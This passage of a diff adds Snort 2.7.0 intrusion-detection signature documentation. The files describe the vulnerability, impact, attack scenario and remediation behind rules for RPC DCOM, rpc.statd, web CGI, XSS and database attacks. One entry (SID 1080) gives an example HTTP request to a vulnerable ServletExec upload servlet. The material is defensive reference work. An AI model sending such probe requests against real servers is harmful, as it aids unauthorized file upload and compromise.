+Corrective Action:
+Remove the samples directory from the webserver.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+http://www.win2000mag.com/Articles/Index.cfm?ArticleID=475&pg=2
+
+http://secinf.net/info/www/cgi-bugs.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/541.txt
+++ snort-2.7.0/doc/signatures/541.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid: 541
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1080.txt
+++ snort-2.7.0/doc/signatures/1080.txt
@@ -0,0 +1,67 @@
+Rule:  
+--
+Sid:
+1080
+
+--
+
+Summary:
+This event is generated when an attempt is made to access the Unify eWave 
+ServletExec uploader servlet, which may lead to a web server compromise.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+Unify eWave ServletExec is a webserver-based JSP and Java Servlet
+environment available for many popular web servers (e.g., Apache, Netscape
+web server, and IIS).  Versions of ServletExec before 3.0E contain a
+vulnerability in UploadServlet that could allow an attacker to upload
+arbitrary files, including executables used to compromise the web server.
+
+--
+Affected Systems:
+Unify eWave ServletExec versions before 3.0E. 
+
+--
+Attack Scenarios:
+Attacker sends a simple HTTP GET or POST like the following:
+GET http://target/servlet/com.unify.ewave.servletexec.UploadServlet HTTP/1.0
+
+The attacker could upload any arbitrary file onto the web server, including
+executable code that can then be used to compromise the web server.
+
+--
+Ease of Attack:
+Relatively simple handcrafted HTTP GET or POST.
+
+--
+False Positives:
+It is possible that legitimate web administrators could use UploadServlet.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to see if a web request was being done.  Try to
+determine if the request was by a legitimate web admin or not.
+Determine from the web server's configuration whether it was a threat or not
+(e.g., whether the web server even runs ServletExec, and if so whether
+it was running a vulnerable version).
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3343.txt
+++ snort-2.7.0/doc/signatures/3343.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3343
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1271.txt
+++ snort-2.7.0/doc/signatures/1271.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+1271
+
+--
+Summary:
+This event is generated when an attempt is made to probe a host for the
+rusers RPC service.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+The rusers RPC service is used to remotely list all logged in users on a
+machine. This information may be useful to an attacker when targeting a
+remote host.
+
+--
+Affected Systems:
+	All systems running the rusers RPC service
+ 
+--
+Attack Scenarios:
+An attacker runs a vulnerability assessment tool, or the standard Unix
+rusers command.  The attacker may use information gleaned from this to
+better target his attacks.
+
+--
+Ease of Attack:
+Simple. Tools to probe the rusers service come standard with most Unix variants.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the rusers service.
+
+Disallow access to RPC services from hosts external to the protected
+network
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1552.txt
+++ snort-2.7.0/doc/signatures/1552.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1552
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1915.txt
+++ snort-2.7.0/doc/signatures/1915.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1915
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a format
+string vulnerability associated with the Remote Procedure Call (RPC)
+rpc.statd.
+
+--
+Impact:
+Remote root access. This may permit execution of arbitrary commands with
+the privileges of root.
+
+--
+Detailed Information:
+The rpc.statd daemon is a component of Network File System (NFS) that
+implements the Network Status and Monitor (NSM) RPC functions.  NSM
+monitors the status of NFS clients and servers and maintains a list of
+hosts that have registered to be notified when an NFS host crashes. 
+There is a format string vulnerability associated with the code that
+implements the monitoring of a given host, possibly permitting the
+execution of arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+	Conectiva Linux 4.0, 4.1, 4.2, 5.0, 5.1
+	Debian Linux 2.2, 2.3
+	Red Hat Linux 6.0, 6.1, 6.2
+	SuSE Linux 6.3, 6.4, 7.0
+	Trustix Secure Linux 1.0, 1.1
+
+--
+Attack Scenarios:
+An attacker can attempt to exploit the format string error allowing
+execution of arbitrary commands with the privileges of root.  
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1692.txt
+++ snort-2.7.0/doc/signatures/1692.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1692
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000794.txt
+++ snort-2.7.0/doc/signatures/100000794.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000794
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "line2" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3202.txt
+++ snort-2.7.0/doc/signatures/3202.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3202
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2168.txt
+++ snort-2.7.0/doc/signatures/2168.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2168
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3278.txt
+++ snort-2.7.0/doc/signatures/3278.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3278
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000173.txt
+++ snort-2.7.0/doc/signatures/100000173.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+100000173
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in RSA Security RSA Authentication Agent For Web.
+
+-- 
+Impact: 
+Cross site scripting leading to possible inclusion of code of the attackers 
+choosing.
+
+--
+Detailed Information:
+A vulnerability exists in RSA Security RSA Authentication Agent For Web that 
+may allow an attacker to include code of their choosing due to the improper 
+checking of user supplied input.
+
+--
+Affected Systems:
+RSA Security RSA Authentication Agent For Web 5.2
+
+--
+Attack Scenarios: 
+An attacker can supply a link to include code of their choosing in data 
+supplied to RSA Security RSA Authentication Agent For Web.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/675.txt
+++ snort-2.7.0/doc/signatures/675.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+675
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1217.txt
+++ snort-2.7.0/doc/signatures/1217.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1217
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3331.txt
+++ snort-2.7.0/doc/signatures/3331.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3331
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1509.txt
+++ snort-2.7.0/doc/signatures/1509.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1509
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/501.txt
+++ snort-2.7.0/doc/signatures/501.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+501
+
+--
+Summary:
+This event is generated when a packet is discovered with loose source routing set in the IP options.
+
+--
+Impact:
+Loose source routing permits the dictation of a route to and from the destination rather than relying on standard dynamic routing.
+
+--
+Detailed Information:
+Loose source routing instructs the packet to traverse identified routers in transit to and from the desired destination.  Normal routing sends a packet one hop at a time allowing each interim router to determine the next hop.  This may permit an attacker to spoof a source IP yet receive the response by sniffing from a network associated with an identified loose source router.  A vulnerability exist in Windows 95, 98, and NT hosts that permits a vulernable destination host to accept a specially crafted source routed packet even though the host has a registry setting to drop it.
+
+--
+Affected Systems:
+Unless loose source routing is disabled, all hosts can accept them.
+
+--
+Attack Scenarios:
+An attacker can craft a special source routed packet to cause Windows 95, 98, and NT hosts to accept them even though a registry setting exists to drop source routed packets.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+This even will trigger if you allow loose source routed packets into your network.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block all source routed (loose or strict) packets from entering your network.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/646
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0909
+
+Whitehats
+www.whitehats.com/info/IDS470
+
+--
--- snort-2.7.0.orig/doc/signatures/3313.txt
+++ snort-2.7.0/doc/signatures/3313.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3313
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1764.txt
+++ snort-2.7.0/doc/signatures/1764.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1764
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1733.txt
+++ snort-2.7.0/doc/signatures/1733.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1733
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rwalld is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rwalld is using.  Attackers can also learn what versions of the rwalld protocol are accepted by rwalld. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rwalld run.  The rwalld RPC service is used by UNIX hosts to send a message to current users on the host.  There is a format string vulnerability associated with rwalld error messages, allowing an attacker to execute abitrary code with the privileges of rwalld, possibly root. According to CERT, this is both a local and remote exploit, but the remote exploit is more difficult to perform.
+
+--
+Affected Systems:
+Sun Solaris 2.5.1, 2.6, 7, and 8
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rwalld runs.  This may be a precursor to an attack to exploit the rwalld format string vulnerability.
+
+--
+Ease of Attack:
+Easy.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rwalld, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rwalld, not probes of the rwalld service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rwalld service itself. An attacker may attempt to go directly to the rwalld port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-10.html
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1132.txt
+++ snort-2.7.0/doc/signatures/1132.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1132
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
